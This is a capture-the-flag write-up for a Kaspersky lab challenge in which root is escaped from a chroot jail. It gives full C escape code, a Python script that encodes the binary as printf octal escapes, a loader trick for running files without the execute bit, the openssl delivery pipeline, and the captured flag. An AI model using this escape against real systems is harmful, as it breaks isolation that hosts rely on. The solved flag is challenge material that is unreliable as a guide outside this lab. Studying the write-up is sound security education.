- Task ID: 13
- Type:
dynamic_docker(personal instance) - Description: "Why do you need Docker when you have ?" - connect via TLS:
output openssl s_client -connect <id>.tcp.kit.sasc.tf:443 -servername <id>.tcp.kit.sasc.tf -quiet
TL;DR
The service drops you into /bin/sh running as root inside a chroot jail.
chroot is not a security boundary: a root process can escape it with the classic
mkdir → chroot(subdir) → chdir("..")*N → chroot(".") trick. The flag lives on the
real host filesystem outside the jail.
Recon
Start the instance and connect:
1/Users/dan/ctf/kaspersky/kasperskyinstance start 13 --wait
2# tcp://<id>.tcp.kit.sasc.tf:443
The shell is extremely bare - most commands are missing (id, ls, uname, cat,
head are all "not found"). Only shell builtins work. Using globbing (echo /*) we map
the entire jail:
/bin/sh
/lib/x86_64-linux-gnu/libc.so.6
/lib64/ld-linux-x86-64.so.2
- No
/proc,/etc,/tmp,/home,/root. - No flag inside the jail → this is a chroot escape challenge.
Key facts gathered with builtins only:
- The jail root
/is writable (printf hi > /t→rc=0). - glibc version (execute the loader):
ld.so (Ubuntu GLIBC 2.43) … version 2.43. - Architecture: x86-64 (
ld-linux-x86-64.so.2).
The problem
The standard root chroot escape must run compiled code, but the jail has no compiler
and no upload channel, and shell redirection cannot set the execute bit (so even root
cannot exec a plain written file - root still needs at least one x bit).
Two tricks solve both issues:
- Run without the execute bit - invoke the ELF through the dynamic loader:
/lib64/ld-linux-x86-64.so.2 /e. The loader maps the ELF as data, bypassing the missing+xpermission. - Transfer without base64/upload - write the binary byte-by-byte with dash's
printfusing 3-digit octal escapes (printf '\177\105\114\106…' > /e). Exactly 3 octal digits per byte prevents adjacent escapes from merging.
Because the jail glibc (2.43) is newer than the build host glibc (2.39), a normally dynamically-linked binary built on the host runs fine under the jail's libc (backward compatibility).
Exploit
1. Escape program - escape.c
1#include <sys/stat.h>
2#include <unistd.h>
3int main(void){
4 mkdir(".x", 0755);
5 chroot(".x"); // cwd is now OUTSIDE the new root
6 for(int i=0;i<256;i++) chdir(".."); // walk up to the real /
7 chroot("."); // re-root at the real filesystem
8 char *args[] = {"/bin/sh","-c",
9 "PATH=/bin:/usr/bin:/sbin:/usr/sbin; echo ==WHOAMI==; id; "
10 "echo ==FINDFLAG==; ls -la /; cat /flag* 2>/dev/null; "
11 "find / -maxdepth 3 -iname '*flag*' 2>/dev/null "
12 "-exec echo {} \\; -exec cat {} \\;", NULL};
13 execv("/bin/sh", args); // real host /bin/sh with coreutils
14 return 0;
15}
Why it works: after chroot(".x") the kernel changes the process root but leaves the
current working directory unchanged - now the cwd sits above (outside) the new root.
Repeated chdir("..") from an out-of-root cwd climbs all the way to the real /, and
chroot(".") re-roots the process there.
2. Build on x86-64 host (ssh pwnbox)
1gcc -O2 -o /tmp/escape /tmp/escape.c && strip /tmp/escape
2# ELF 64-bit LSB pie executable, x86-64, dynamically linked
3. Generate the transfer+run payload
1d = open("escape.bin", "rb").read()
2esc = "".join("\\%03o" % b for b in d) # 3-digit octal per byte
3cmd = "printf '" + esc + "' > /e\n/lib64/ld-linux-x86-64.so.2 /e\n"
4open("payload.txt", "w").write(cmd)
4. Fire it over the TLS shell
1cat payload.txt | openssl s_client \
2 -connect <id>.tcp.kit.sasc.tf:443 \
3 -servername <id>.tcp.kit.sasc.tf -quiet
Result
==WHOAMI==
uid=0(root) gid=0(root)
==FINDFLAG==
drwxr-xr-x bin
drwxr-xr-x dev
drwxr-xr-x etc
dr-xr-xr-x proc
drwxr-xr-x root
drwxr-xr-x sbin
dr-xr-xr-x sys
kaspersky{fb30b3a6-ff28-4698-b023-bfb73c4bbf63}
We are uid=0 on the real host root filesystem (note the full bin/dev/etc/proc/sys
tree that did not exist inside the jail), and cat /flag* prints the flag.
Flag
kaspersky{fb30b3a6-ff28-4698-b023-bfb73c4bbf63}
Submitted with:
1/Users/dan/ctf/kaspersky/kasperskyflag 13 'kaspersky{fb30b3a6-ff28-4698-b023-bfb73c4bbf63}'
2# {"status": "Correct"}
Artifacts
escape.c, chroot-escape sourceescape.bin, compiled x86-64 ELF (built on pwnbox)payload.txt,printf-octal transfer +ld.soexecution one-linerescape.b64/escape.bin, intermediate build artifacts
Takeaways
Pitfall
chrootonly changes the process root; it does not revokeCAP_SYS_CHROOTor reset the cwd, so a root process trivially escapes. It is an isolation convenience, not a security sandbox - hence "Why do you need Docker when you have chroot?".- Missing binaries in a jail are not a barrier:
printfoctal writes arbitrary bytes andld-linux.so <file>executes non-+xELFs.